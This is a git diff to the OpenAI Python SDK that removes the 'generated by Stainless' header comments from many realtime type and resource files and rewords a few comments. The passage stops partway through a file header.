RAW_RESPONSE_HEADER = "X-Stainless-Raw-Response"
diff --git a/src/openai/_event_handler.py b/src/openai/_event_handler.py
index d9a3a59d71..3aa6370b0a 100644
--- a/src/openai/_event_handler.py
+++ b/src/openai/_event_handler.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
import threading
diff --git a/src/openai/_exceptions.py b/src/openai/_exceptions.py
index b7be6a07e0..7a30e4a336 100644
--- a/src/openai/_exceptions.py
+++ b/src/openai/_exceptions.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
from typing import TYPE_CHECKING, Any, Optional, cast
diff --git a/src/openai/_resource.py b/src/openai/_resource.py
index fff9ba19c3..d1aecd5320 100644
--- a/src/openai/_resource.py
+++ b/src/openai/_resource.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
import time
diff --git a/src/openai/_send_queue.py b/src/openai/_send_queue.py
index b35d0fbcba..4961fc1426 100644
--- a/src/openai/_send_queue.py
+++ b/src/openai/_send_queue.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
import typing
diff --git a/src/openai/_utils/_utils.py b/src/openai/_utils/_utils.py
index 9f7401ca83..02046a352c 100644
--- a/src/openai/_utils/_utils.py
+++ b/src/openai/_utils/_utils.py
@@ -393,7 +393,7 @@ def get_required_header(headers: HeadersLike, header: str) -> str:
if k.lower() == lower_header and isinstance(v, str):
return v
- # to deal with the case where the header looks like Stainless-Event-Id
+ # to deal with the case where the header looks like X-Request-Id
intercaps_header = re.sub(r"([^\w])(\w)", lambda pat: pat.group(1) + pat.group(2).upper(), header.capitalize())
for normalized_header in [header, lower_header, header.upper(), intercaps_header]:
diff --git a/src/openai/_version.py b/src/openai/_version.py
index 8889c08af5..1e5a2b65a6 100644
--- a/src/openai/_version.py
+++ b/src/openai/_version.py
@@ -1,4 +1,2 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
__title__ = "openai"
__version__ = "3.0.0" # x-release-please-version
diff --git a/src/openai/lib/.keep b/src/openai/lib/.keep
index 5e2c99fdbe..a51e020b40 100644
--- a/src/openai/lib/.keep
+++ b/src/openai/lib/.keep
@@ -1,4 +1,2 @@
-File generated from our OpenAPI spec by Stainless.
-
This directory can be used to store custom files to expand the SDK.
-It is ignored by Stainless code generation and its content (other than this keep file) won't be touched.
\ No newline at end of file
+It is ignored by code generation and its content (other than this keep file) won't be touched.
diff --git a/src/openai/pagination.py b/src/openai/pagination.py
index 6cf0c8e7f5..8f13964cfe 100644
--- a/src/openai/pagination.py
+++ b/src/openai/pagination.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import Any, List, Generic, TypeVar, Optional, cast
from typing_extensions import Protocol, override, runtime_checkable
diff --git a/src/openai/resources/beta/realtime/__init__.py b/src/openai/resources/beta/realtime/__init__.py
index 7ab3d9931c..40fa611482 100644
--- a/src/openai/resources/beta/realtime/__init__.py
+++ b/src/openai/resources/beta/realtime/__init__.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from .realtime import (
Realtime,
AsyncRealtime,
diff --git a/src/openai/resources/beta/realtime/realtime.py b/src/openai/resources/beta/realtime/realtime.py
index 6d1ef956ed..da08e7e2d6 100644
--- a/src/openai/resources/beta/realtime/realtime.py
+++ b/src/openai/resources/beta/realtime/realtime.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
import json
diff --git a/src/openai/resources/beta/realtime/sessions.py b/src/openai/resources/beta/realtime/sessions.py
index 50a38df7f8..c131a44ead 100644
--- a/src/openai/resources/beta/realtime/sessions.py
+++ b/src/openai/resources/beta/realtime/sessions.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
from typing import List, Union, Iterable
diff --git a/src/openai/resources/beta/realtime/transcription_sessions.py b/src/openai/resources/beta/realtime/transcription_sessions.py
index 5ba79c7172..04191ba66b 100644
--- a/src/openai/resources/beta/realtime/transcription_sessions.py
+++ b/src/openai/resources/beta/realtime/transcription_sessions.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
from typing import List
diff --git a/src/openai/types/beta/chat/__init__.py b/src/openai/types/beta/chat/__init__.py
index f8ee8b14b1..9d48db4f9f 100644
--- a/src/openai/types/beta/chat/__init__.py
+++ b/src/openai/types/beta/chat/__init__.py
@@ -1,3 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
diff --git a/src/openai/types/beta/realtime/__init__.py b/src/openai/types/beta/realtime/__init__.py
index 0374b9b457..7913aadcfe 100644
--- a/src/openai/types/beta/realtime/__init__.py
+++ b/src/openai/types/beta/realtime/__init__.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
from .session import Session as Session
diff --git a/src/openai/types/beta/realtime/conversation_created_event.py b/src/openai/types/beta/realtime/conversation_created_event.py
index 4ba0540867..e2061260eb 100644
--- a/src/openai/types/beta/realtime/conversation_created_event.py
+++ b/src/openai/types/beta/realtime/conversation_created_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/realtime/conversation_item.py b/src/openai/types/beta/realtime/conversation_item.py
index 21b7a8ac1f..4cc60db284 100644
--- a/src/openai/types/beta/realtime/conversation_item.py
+++ b/src/openai/types/beta/realtime/conversation_item.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/realtime/conversation_item_content.py b/src/openai/types/beta/realtime/conversation_item_content.py
index fe9cef80e3..de2391a48c 100644
--- a/src/openai/types/beta/realtime/conversation_item_content.py
+++ b/src/openai/types/beta/realtime/conversation_item_content.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/realtime/conversation_item_content_param.py b/src/openai/types/beta/realtime/conversation_item_content_param.py
index 6042e7f90f..509697d725 100644
--- a/src/openai/types/beta/realtime/conversation_item_content_param.py
+++ b/src/openai/types/beta/realtime/conversation_item_content_param.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
from typing_extensions import Literal, TypedDict
diff --git a/src/openai/types/beta/realtime/conversation_item_create_event.py b/src/openai/types/beta/realtime/conversation_item_create_event.py
index f19d552a92..6bdb7d47b6 100644
--- a/src/openai/types/beta/realtime/conversation_item_create_event.py
+++ b/src/openai/types/beta/realtime/conversation_item_create_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/realtime/conversation_item_create_event_param.py b/src/openai/types/beta/realtime/conversation_item_create_event_param.py
index 693d0fd54d..83c3a2908d 100644
--- a/src/openai/types/beta/realtime/conversation_item_create_event_param.py
+++ b/src/openai/types/beta/realtime/conversation_item_create_event_param.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
from typing_extensions import Literal, Required, TypedDict
diff --git a/src/openai/types/beta/realtime/conversation_item_created_event.py b/src/openai/types/beta/realtime/conversation_item_created_event.py
index aea7ad5b4b..15426e7aae 100644
--- a/src/openai/types/beta/realtime/conversation_item_created_event.py
+++ b/src/openai/types/beta/realtime/conversation_item_created_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/realtime/conversation_item_delete_event.py b/src/openai/types/beta/realtime/conversation_item_delete_event.py
index 02ca8250ce..815512f32f 100644
--- a/src/openai/types/beta/realtime/conversation_item_delete_event.py
+++ b/src/openai/types/beta/realtime/conversation_item_delete_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/realtime/conversation_item_delete_event_param.py b/src/openai/types/beta/realtime/conversation_item_delete_event_param.py
index c3f88d6627..6e3cea0f61 100644
--- a/src/openai/types/beta/realtime/conversation_item_delete_event_param.py
+++ b/src/openai/types/beta/realtime/conversation_item_delete_event_param.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
from typing_extensions import Literal, Required, TypedDict
diff --git a/src/openai/types/beta/realtime/conversation_item_deleted_event.py b/src/openai/types/beta/realtime/conversation_item_deleted_event.py
index a35a97817a..f0da6aa342 100644
--- a/src/openai/types/beta/realtime/conversation_item_deleted_event.py
+++ b/src/openai/types/beta/realtime/conversation_item_deleted_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing_extensions import Literal
from ...._models import BaseModel
diff --git a/src/openai/types/beta/realtime/conversation_item_input_audio_transcription_completed_event.py b/src/openai/types/beta/realtime/conversation_item_input_audio_transcription_completed_event.py
index e7c457d4b2..0d0a9cf20c 100644
--- a/src/openai/types/beta/realtime/conversation_item_input_audio_transcription_completed_event.py
+++ b/src/openai/types/beta/realtime/conversation_item_input_audio_transcription_completed_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import List, Union, Optional
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/beta/realtime/conversation_item_input_audio_transcription_delta_event.py b/src/openai/types/beta/realtime/conversation_item_input_audio_transcription_delta_event.py
index 924d06d98a..75592cc42d 100644
--- a/src/openai/types/beta/realtime/conversation_item_input_audio_transcription_delta_event.py
+++ b/src/openai/types/beta/realtime/conversation_item_input_audio_transcription_delta_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/realtime/conversation_item_input_audio_transcription_failed_event.py b/src/openai/types/beta/realtime/conversation_item_input_audio_transcription_failed_event.py
index cecac93e64..50772b7e42 100644
--- a/src/openai/types/beta/realtime/conversation_item_input_audio_transcription_failed_event.py
+++ b/src/openai/types/beta/realtime/conversation_item_input_audio_transcription_failed_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/realtime/conversation_item_param.py b/src/openai/types/beta/realtime/conversation_item_param.py
index 8bbd539c0c..4ae4ed1593 100644
--- a/src/openai/types/beta/realtime/conversation_item_param.py
+++ b/src/openai/types/beta/realtime/conversation_item_param.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
from typing import Iterable
diff --git a/src/openai/types/beta/realtime/conversation_item_retrieve_event.py b/src/openai/types/beta/realtime/conversation_item_retrieve_event.py
index 822386055c..eb8fb3a21c 100644
--- a/src/openai/types/beta/realtime/conversation_item_retrieve_event.py
+++ b/src/openai/types/beta/realtime/conversation_item_retrieve_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/realtime/conversation_item_retrieve_event_param.py b/src/openai/types/beta/realtime/conversation_item_retrieve_event_param.py
index 71b3ffa499..0a889b1fcf 100644
--- a/src/openai/types/beta/realtime/conversation_item_retrieve_event_param.py
+++ b/src/openai/types/beta/realtime/conversation_item_retrieve_event_param.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
from typing_extensions import Literal, Required, TypedDict
diff --git a/src/openai/types/beta/realtime/conversation_item_truncate_event.py b/src/openai/types/beta/realtime/conversation_item_truncate_event.py
index cb336bba2c..ee25f51b64 100644
--- a/src/openai/types/beta/realtime/conversation_item_truncate_event.py
+++ b/src/openai/types/beta/realtime/conversation_item_truncate_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/realtime/conversation_item_truncate_event_param.py b/src/openai/types/beta/realtime/conversation_item_truncate_event_param.py
index d3ad1e1e25..fe65493451 100644
--- a/src/openai/types/beta/realtime/conversation_item_truncate_event_param.py
+++ b/src/openai/types/beta/realtime/conversation_item_truncate_event_param.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
from typing_extensions import Literal, Required, TypedDict
diff --git a/src/openai/types/beta/realtime/conversation_item_truncated_event.py b/src/openai/types/beta/realtime/conversation_item_truncated_event.py
index 36368fa28f..50afa12e52 100644
--- a/src/openai/types/beta/realtime/conversation_item_truncated_event.py
+++ b/src/openai/types/beta/realtime/conversation_item_truncated_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing_extensions import Literal
from ...._models import BaseModel
diff --git a/src/openai/types/beta/realtime/conversation_item_with_reference.py b/src/openai/types/beta/realtime/conversation_item_with_reference.py
index 0edcfc76b6..d1f4fe34e4 100644
--- a/src/openai/types/beta/realtime/conversation_item_with_reference.py
+++ b/src/openai/types/beta/realtime/conversation_item_with_reference.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/realtime/conversation_item_with_reference_param.py b/src/openai/types/beta/realtime/conversation_item_with_reference_param.py
index c83dc92ab7..426913f252 100644
--- a/src/openai/types/beta/realtime/conversation_item_with_reference_param.py
+++ b/src/openai/types/beta/realtime/conversation_item_with_reference_param.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
from typing import Iterable
diff --git a/src/openai/types/beta/realtime/error_event.py b/src/openai/types/beta/realtime/error_event.py
index e020fc3848..24385263ed 100644
--- a/src/openai/types/beta/realtime/error_event.py
+++ b/src/openai/types/beta/realtime/error_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/realtime/input_audio_buffer_append_event.py b/src/openai/types/beta/realtime/input_audio_buffer_append_event.py
index a253a6488c..9cfc359efe 100644
--- a/src/openai/types/beta/realtime/input_audio_buffer_append_event.py
+++ b/src/openai/types/beta/realtime/input_audio_buffer_append_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/realtime/input_audio_buffer_append_event_param.py b/src/openai/types/beta/realtime/input_audio_buffer_append_event_param.py
index 3ad0bc737d..fc2065d77b 100644
--- a/src/openai/types/beta/realtime/input_audio_buffer_append_event_param.py
+++ b/src/openai/types/beta/realtime/input_audio_buffer_append_event_param.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
from typing_extensions import Literal, Required, TypedDict
diff --git a/src/openai/types/beta/realtime/input_audio_buffer_clear_event.py b/src/openai/types/beta/realtime/input_audio_buffer_clear_event.py
index b0624d34df..73a35d9d14 100644
--- a/src/openai/types/beta/realtime/input_audio_buffer_clear_event.py
+++ b/src/openai/types/beta/realtime/input_audio_buffer_clear_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/realtime/input_audio_buffer_clear_event_param.py b/src/openai/types/beta/realtime/input_audio_buffer_clear_event_param.py
index 2bd6bc5a02..d7c0023781 100644
--- a/src/openai/types/beta/realtime/input_audio_buffer_clear_event_param.py
+++ b/src/openai/types/beta/realtime/input_audio_buffer_clear_event_param.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
from typing_extensions import Literal, Required, TypedDict
diff --git a/src/openai/types/beta/realtime/input_audio_buffer_cleared_event.py b/src/openai/types/beta/realtime/input_audio_buffer_cleared_event.py
index 632e1b94bc..6ef3ee1c21 100644
--- a/src/openai/types/beta/realtime/input_audio_buffer_cleared_event.py
+++ b/src/openai/types/beta/realtime/input_audio_buffer_cleared_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing_extensions import Literal
from ...._models import BaseModel
diff --git a/src/openai/types/beta/realtime/input_audio_buffer_commit_event.py b/src/openai/types/beta/realtime/input_audio_buffer_commit_event.py
index 7b6f5e46b7..17258b22ea 100644
--- a/src/openai/types/beta/realtime/input_audio_buffer_commit_event.py
+++ b/src/openai/types/beta/realtime/input_audio_buffer_commit_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/realtime/input_audio_buffer_commit_event_param.py b/src/openai/types/beta/realtime/input_audio_buffer_commit_event_param.py
index c9c927ab98..88ceef7127 100644
--- a/src/openai/types/beta/realtime/input_audio_buffer_commit_event_param.py
+++ b/src/openai/types/beta/realtime/input_audio_buffer_commit_event_param.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
from typing_extensions import Literal, Required, TypedDict
diff --git a/src/openai/types/beta/realtime/input_audio_buffer_committed_event.py b/src/openai/types/beta/realtime/input_audio_buffer_committed_event.py
index 22eb53b117..d632964436 100644
--- a/src/openai/types/beta/realtime/input_audio_buffer_committed_event.py
+++ b/src/openai/types/beta/realtime/input_audio_buffer_committed_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/realtime/input_audio_buffer_speech_started_event.py b/src/openai/types/beta/realtime/input_audio_buffer_speech_started_event.py
index 4f3ab082c4..ca85dd88a8 100644
--- a/src/openai/types/beta/realtime/input_audio_buffer_speech_started_event.py
+++ b/src/openai/types/beta/realtime/input_audio_buffer_speech_started_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing_extensions import Literal
from ...._models import BaseModel
diff --git a/src/openai/types/beta/realtime/input_audio_buffer_speech_stopped_event.py b/src/openai/types/beta/realtime/input_audio_buffer_speech_stopped_event.py
index 40568170f2..a3d48aa4b8 100644
--- a/src/openai/types/beta/realtime/input_audio_buffer_speech_stopped_event.py
+++ b/src/openai/types/beta/realtime/input_audio_buffer_speech_stopped_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing_extensions import Literal
from ...._models import BaseModel
diff --git a/src/openai/types/beta/realtime/rate_limits_updated_event.py b/src/openai/types/beta/realtime/rate_limits_updated_event.py
index 7e12283c46..03516cb839 100644
--- a/src/openai/types/beta/realtime/rate_limits_updated_event.py
+++ b/src/openai/types/beta/realtime/rate_limits_updated_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/realtime/realtime_client_event.py b/src/openai/types/beta/realtime/realtime_client_event.py
index 5f4858d688..4cfbf24388 100644
--- a/src/openai/types/beta/realtime/realtime_client_event.py
+++ b/src/openai/types/beta/realtime/realtime_client_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/realtime/realtime_client_event_param.py b/src/openai/types/beta/realtime/realtime_client_event_param.py
index e7dfba241e..86aa3beb2a 100644
--- a/src/openai/types/beta/realtime/realtime_client_event_param.py
+++ b/src/openai/types/beta/realtime/realtime_client_event_param.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
from typing import Union
diff --git a/src/openai/types/beta/realtime/realtime_connect_params.py b/src/openai/types/beta/realtime/realtime_connect_params.py
index 76474f3de4..aa21222942 100644
--- a/src/openai/types/beta/realtime/realtime_connect_params.py
+++ b/src/openai/types/beta/realtime/realtime_connect_params.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
from typing_extensions import Required, TypedDict
diff --git a/src/openai/types/beta/realtime/realtime_response.py b/src/openai/types/beta/realtime/realtime_response.py
index ccc97c5d22..0b7e02ce58 100644
--- a/src/openai/types/beta/realtime/realtime_response.py
+++ b/src/openai/types/beta/realtime/realtime_response.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import List, Union, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/realtime/realtime_response_status.py b/src/openai/types/beta/realtime/realtime_response_status.py
index 7189cd58a1..c453b46588 100644
--- a/src/openai/types/beta/realtime/realtime_response_status.py
+++ b/src/openai/types/beta/realtime/realtime_response_status.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/realtime/realtime_response_usage.py b/src/openai/types/beta/realtime/realtime_response_usage.py
index 7ca822e25e..1e5ac7e721 100644
--- a/src/openai/types/beta/realtime/realtime_response_usage.py
+++ b/src/openai/types/beta/realtime/realtime_response_usage.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import Optional
from ...._models import BaseModel
diff --git a/src/openai/types/beta/realtime/realtime_server_event.py b/src/openai/types/beta/realtime/realtime_server_event.py
index c12f5df977..3a99a83cdc 100644
--- a/src/openai/types/beta/realtime/realtime_server_event.py
+++ b/src/openai/types/beta/realtime/realtime_server_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import Union
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/realtime/response_audio_delta_event.py b/src/openai/types/beta/realtime/response_audio_delta_event.py
index 8e0128d942..c7531149a6 100644
--- a/src/openai/types/beta/realtime/response_audio_delta_event.py
+++ b/src/openai/types/beta/realtime/response_audio_delta_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing_extensions import Literal
from ...._models import BaseModel
diff --git a/src/openai/types/beta/realtime/response_audio_done_event.py b/src/openai/types/beta/realtime/response_audio_done_event.py
index 68e78bc778..f4c05397a0 100644
--- a/src/openai/types/beta/realtime/response_audio_done_event.py
+++ b/src/openai/types/beta/realtime/response_audio_done_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing_extensions import Literal
from ...._models import BaseModel
diff --git a/src/openai/types/beta/realtime/response_audio_transcript_delta_event.py b/src/openai/types/beta/realtime/response_audio_transcript_delta_event.py
index 3609948d10..f7331a3568 100644
--- a/src/openai/types/beta/realtime/response_audio_transcript_delta_event.py
+++ b/src/openai/types/beta/realtime/response_audio_transcript_delta_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing_extensions import Literal
from ...._models import BaseModel
diff --git a/src/openai/types/beta/realtime/response_audio_transcript_done_event.py b/src/openai/types/beta/realtime/response_audio_transcript_done_event.py
index 4e4436a95f..d60ad73f36 100644
--- a/src/openai/types/beta/realtime/response_audio_transcript_done_event.py
+++ b/src/openai/types/beta/realtime/response_audio_transcript_done_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing_extensions import Literal
from ...._models import BaseModel
diff --git a/src/openai/types/beta/realtime/response_cancel_event.py b/src/openai/types/beta/realtime/response_cancel_event.py
index c5ff991e9a..a6c6ed075e 100644
--- a/src/openai/types/beta/realtime/response_cancel_event.py
+++ b/src/openai/types/beta/realtime/response_cancel_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/realtime/response_cancel_event_param.py b/src/openai/types/beta/realtime/response_cancel_event_param.py
index f33740730a..6c7863b80d 100644
--- a/src/openai/types/beta/realtime/response_cancel_event_param.py
+++ b/src/openai/types/beta/realtime/response_cancel_event_param.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
from typing_extensions import Literal, Required, TypedDict
diff --git a/src/openai/types/beta/realtime/response_content_part_added_event.py b/src/openai/types/beta/realtime/response_content_part_added_event.py
index 45c8f20f97..24286bec81 100644
--- a/src/openai/types/beta/realtime/response_content_part_added_event.py
+++ b/src/openai/types/beta/realtime/response_content_part_added_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/realtime/response_content_part_done_event.py b/src/openai/types/beta/realtime/response_content_part_done_event.py
index 3d16116106..de8beaf22b 100644
--- a/src/openai/types/beta/realtime/response_content_part_done_event.py
+++ b/src/openai/types/beta/realtime/response_content_part_done_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/realtime/response_create_event.py b/src/openai/types/beta/realtime/response_create_event.py
index 7219cedbf3..4216972a53 100644
--- a/src/openai/types/beta/realtime/response_create_event.py
+++ b/src/openai/types/beta/realtime/response_create_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import List, Union, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/realtime/response_create_event_param.py b/src/openai/types/beta/realtime/response_create_event_param.py
index b4d54bba92..6d43f928c1 100644
--- a/src/openai/types/beta/realtime/response_create_event_param.py
+++ b/src/openai/types/beta/realtime/response_create_event_param.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
from typing import List, Union, Iterable, Optional
diff --git a/src/openai/types/beta/realtime/response_created_event.py b/src/openai/types/beta/realtime/response_created_event.py
index a4990cf095..b0a33e77e1 100644
--- a/src/openai/types/beta/realtime/response_created_event.py
+++ b/src/openai/types/beta/realtime/response_created_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing_extensions import Literal
from ...._models import BaseModel
diff --git a/src/openai/types/beta/realtime/response_done_event.py b/src/openai/types/beta/realtime/response_done_event.py
index 9e655184b6..73771bf6f6 100644
--- a/src/openai/types/beta/realtime/response_done_event.py
+++ b/src/openai/types/beta/realtime/response_done_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing_extensions import Literal
from ...._models import BaseModel
diff --git a/src/openai/types/beta/realtime/response_function_call_arguments_delta_event.py b/src/openai/types/beta/realtime/response_function_call_arguments_delta_event.py
index cdbb64e658..a5f364a0ff 100644
--- a/src/openai/types/beta/realtime/response_function_call_arguments_delta_event.py
+++ b/src/openai/types/beta/realtime/response_function_call_arguments_delta_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing_extensions import Literal
from ...._models import BaseModel
diff --git a/src/openai/types/beta/realtime/response_function_call_arguments_done_event.py b/src/openai/types/beta/realtime/response_function_call_arguments_done_event.py
index 0a5db53323..03014ddba7 100644
--- a/src/openai/types/beta/realtime/response_function_call_arguments_done_event.py
+++ b/src/openai/types/beta/realtime/response_function_call_arguments_done_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing_extensions import Literal
from ...._models import BaseModel
diff --git a/src/openai/types/beta/realtime/response_output_item_added_event.py b/src/openai/types/beta/realtime/response_output_item_added_event.py
index c89bfdc3be..d5fd1ccb24 100644
--- a/src/openai/types/beta/realtime/response_output_item_added_event.py
